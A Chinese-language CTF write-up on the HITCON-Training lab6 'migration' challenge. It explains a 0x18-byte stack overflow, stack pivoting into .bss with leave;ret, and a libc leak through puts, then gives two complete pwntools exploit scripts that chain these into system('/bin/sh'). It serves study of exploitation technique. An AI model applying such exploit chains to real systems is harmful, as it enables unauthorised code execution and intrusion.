天天看點

暑假集訓——Hitcon_Trainning——lab6_migration——棧遷移migration

migration

第一次

  1. 漏洞

棧溢出

暑假集訓——Hitcon_Trainning——lab6_migration——棧遷移migration

這裡的buf溢出了0x40-0x28 個位元組

checksec比較友好,沒有開位址随機化。

  1. 解決

是一個ret2libc的題目,傳回到puts列印libc_start_main的got表位址,确定libc的版本。

這裡有一個問題就是我不知道這個count如果在我傳回到libc_start_main的話是不是會被初始化,我先試一下。

然後計算system和/bin/sh, 傳回到這裡。

不行。因為這個libc的基址是後面計算才知道的,沒法提前就寫進去。

第二次

不是這麼搞的= =,好累。

正确的思路是棧遷移。

  1. 漏洞

    還是棧溢出啊。判斷是棧遷移的原因有幾點

    1. 因為count那個地方其實是一個hint,告訴你ret2libc是行不通的。
    2. 能夠構造成payload的長度是0x40-0x28其實隻有0x18太短了。
    3. 因為system的位址是算出來的,是以要多次輸入,也就是多次傳回到read,但是不能直接傳回到main函數裡面,是以說需要直接傳回到read,并且多次通過read再一次棧溢出控制程式流程,是以需要控制棧的位址。但是實在程式加載的時候你是沒法确定棧位址的[反正我現在不可以确定],于是就是棧遷移!
  2. 思路

    棧遷移的基本思路是用leave;ret;

    leave;ret;

    mov %ebp,%esp
    pop %ebp
    pop %eip
               

    這樣就可以把esp劫持走。

    這道題可以把棧遷移到bss。權限和大小是夠的。

    過程

    1. 第一次系統自帶的read棧溢出需要列印基址以及實作棧遷移。選擇bss段一個中間位置,瞎選一個bss+0x500

      棧的構造應該是

    esp junk data
        ......
    ebp bss+0x500
        put_plt
        pop1ret
        libc_start_main_got
        read_plt
        leave_ret
        0
        bss+0x500
        0x100
               
    1. 第二次的棧溢出需要輸入/bin/sh,然後執行system。

      棧的構造是

    esp/ebp bss+0x400
            read_plt
            pop3ret
            0
            bss+0x400
            0x100
            system_addr
            0xdeadbeef
            bss+0x400(bin_sh_addr)
    
               
    pop1ret和pop3ret:
    暑假集訓——Hitcon_Trainning——lab6_migration——棧遷移migration

    錯誤: 第一次不能實作這麼多功能,他隻有0x18個資料,payload長度超了。

    是以要把他分成兩次

    1. 第一次
    esp junk data
        ... ...
    ebp bss+0x500
        read_plt
        leave_ret
        0
        bss+0x500
        0x100
               
    1. 第二次
    esp/ebp bss+0x400
            put_plt
            pop1ret
            libc_start_main_got
            read_plt
            leave_ret
            0
            bss+0x400
            0x100
               
    1. 第三次
    esp/ebp bss+0x500
            read_plt
            pop3ret
            0
            bss+0x500
            0x100
            system_addr
            0xdeadbeef
            bss+0x500
               

exp

from pwn import *
from LibcSearcher import *


context.log_level='debug'
sh=process('./migration')
elf=ELF("./migration")
pause()

libc_start_main_got=elf.got['__libc_start_main']
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
bss_addr=elf.bss()
pop1ret=0x0804836d
pop3ret=0x08048569
leave_ret=0x08048418
offset=0x28

#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)

#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)

libc_start_main_addr=u32(sh.recv()[0:4])

print 'libc_start_main_got---------->{:x}'.format(libc_start_main_addr)
libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')

system_addr=libcbase+libc.dump('system')
print 'system----------------------->{:x}'.format(system_addr)

#---------get shell---------------
payload=flat([bss_addr+0x500,read_plt,pop3ret,0,bss_addr+0x500,0x100,system_addr,0xdeadbeef,bss_addr+0x500])
sh.send(payload)
sh.send('/bin/sh\x00')

sh.interactive()
sh.close()
           

後記

本來想用libcsearch找/bin/sh的位址直接傳回,但是誰能想到他太不争氣了,和本機的libc版本不同導緻不知道找了個啥東西,也不知道system是怎麼找對的。

還被師傅罵一通TAT還diss我代碼寫的醜TAT

這裡有一個trick,libc=elf.libc,然後就不用導入libc了。

from pwn import *

context.log_level = 'debug'
sh = process('./migration')
elf = ELF("./migration")
libc = elf.libc
context.binary = "./migration"

libc_start_main_got = elf.got['__libc_start_main']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
bss_addr = elf.bss()
pop1ret = 0x0804836d
pop3ret = 0x08048569
leave_ret = 0x08048418
offset = 0x28

#------------move stack-----------
payload=flat(['A'*offset,bss_addr+0x500,read_plt,leave_ret,0,bss_addr+0x500,0x100])
sh.sendafter("best :\n",payload)

#-----------leak libc base-------
payload=flat([bss_addr+0x400,puts_plt,pop1ret,libc_start_main_got,read_plt,leave_ret,0,bss_addr+0x400,0x100])
sh.send(payload)

libc_start_main_addr=u32(sh.recvn(4))

print 'libc_start_main_addr---------->{:x}'.format(libc_start_main_addr)
libc.address = libc_start_main_addr - libc.sym['__libc_start_main']

system_addr=libc.sym['system']
bin_sh_addr=libc.search('/bin/sh').next()
# pause()

print 'system----------------------->{:x}'.format(system_addr)

#---------get shell---------------
payload=flat([bss_addr+0x500,system_addr,0xdeadbeef,bin_sh_addr])
sh.send(payload)

sh.interactive()
sh.close()